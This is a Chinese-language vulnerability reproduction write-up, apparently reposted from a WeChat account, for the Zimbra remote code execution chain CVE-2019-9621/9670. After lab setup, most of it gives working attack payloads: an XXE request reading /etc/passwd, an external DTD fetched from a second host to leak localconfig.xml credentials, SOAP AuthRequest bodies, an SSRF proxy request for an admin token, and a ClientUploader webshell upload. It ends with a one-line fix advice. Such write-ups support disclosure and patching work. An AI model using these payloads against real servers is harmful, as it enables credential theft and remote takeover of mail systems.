Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。国外安全研究人员Tint0在博客中披露了一个针对Zimbra 邮件系统进行综合利用来达到远程代码执行效果的漏洞(CVE-2019-9621 CVE-2019-9670)。此漏洞的主要利用手法是通过XXE(XML 外部实体注入)漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest 认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传Webshell到Zimbra服务器,从而实现通过Webshell来达到远程代码执行效果。
Zimbra Collaboration Suite 8.7.11 to 8.8.11 版本可配合Memcached进行利用;
本文使用ubuntu16.04系统进行Zimbra的环境搭建
首先执行如下命令进行软件包更新并安装Zimbra应用所需要的依赖包
apt update
apt-get install libgmp10 libperl5.22 unzip pax sysstat sqlite3 dnsmasq wget
然后需要将本机的hostname修改为Zimbra应用安装后的访问域名
vim /etc/hostname
需要将ip和域名进行绑定
vim /etc/hosts
192.168.150.25 mail.test.com mail
修改dnsmasq的配置为如下
vim /etc/dnsmasq.conf
server=192.168.150.25
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1
本文安装Zimbra应用的主机是ubuntu16.04,所以需要下载对应系统版本的安装包进行安装
wget https://files.zimbra.com/downloads/8.7.7_GA/zcs-8.7.7_GA_1787.UBUNTU16_64.20170410133400.tgz
下载完成后使用命令如下命令进行解压
tar -xvf zcs-8.7.7_GA_1787.UBUNTU16_64.20170410133400.tgz
解压完成后运行安装脚本
sudo ./install.sh
按照提示完成Zimbra的安装
切换到zimbra用户并查看zimbra各个组件的运行状态
su - zimbra
zmcontrol status
如下图所示则证明zimbra的各个组件均正常启动
使用浏览器访问7071端口,注意这里需要使用https协议
https://192.168.150.25:7071/
如下图则证明zimbra安装成功
第一步:使用POC测试XXE漏洞
接口为https://192.168.150.25:7071/Autodiscover/Autodiscover.xml,利用代码如下
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
成功读取到了/etc/passwd的文件内容,证明存在XXE漏洞
第二步:读取../conf/localconfig.xml配置文件获取zimbra账号密码
首先需要创建包含如下内容的poc.dtd文件并上传到web服务器
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
利用接口为:https://192.168.150.25:7071/Autodiscover/Autodiscover.xml,利用代码如下
<!ENTITY % dtd SYSTEM "http://192.168.150.188/poc.dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
成功读取到了zimbra配置文件中的内容
获取到zimbra的账号密码后就可以生成低权限的token了
利用接口为https://192.168.150.25:7071/service/admin/soap,利用代码如下
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient" version="5.0.15_GA_2851"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>MGXTKSdH</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
成功生成了低权限token
获取到低权限token后,通过SSRF漏洞,接口为:https://192.168.150.25:7071/service/proxy?target=https://127.0.0.1:7071/service/admin/soap获取高权限token,利用代码如下
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>MGXTKSdH</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
获取高权限token之后,即可利用该token进行任意文件上传,上传接口为:https://192.168.150.25:7071/service/extension/clientUploader/upload
这里上传了一个测试jsp文件
最后访问测试webshell:https://192.168.150.25:7071/downloads/test222.jsp,此处需要注意的是需要高权限token(ZM_ADMIN_AUTH_TOKEN)才能访问webshell
如图所示,成功进行了getshell
将zimbra应用升级到最新版本。
原文始发于微信公众号(第59号):CVE-2019-9670:Zimbra 远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论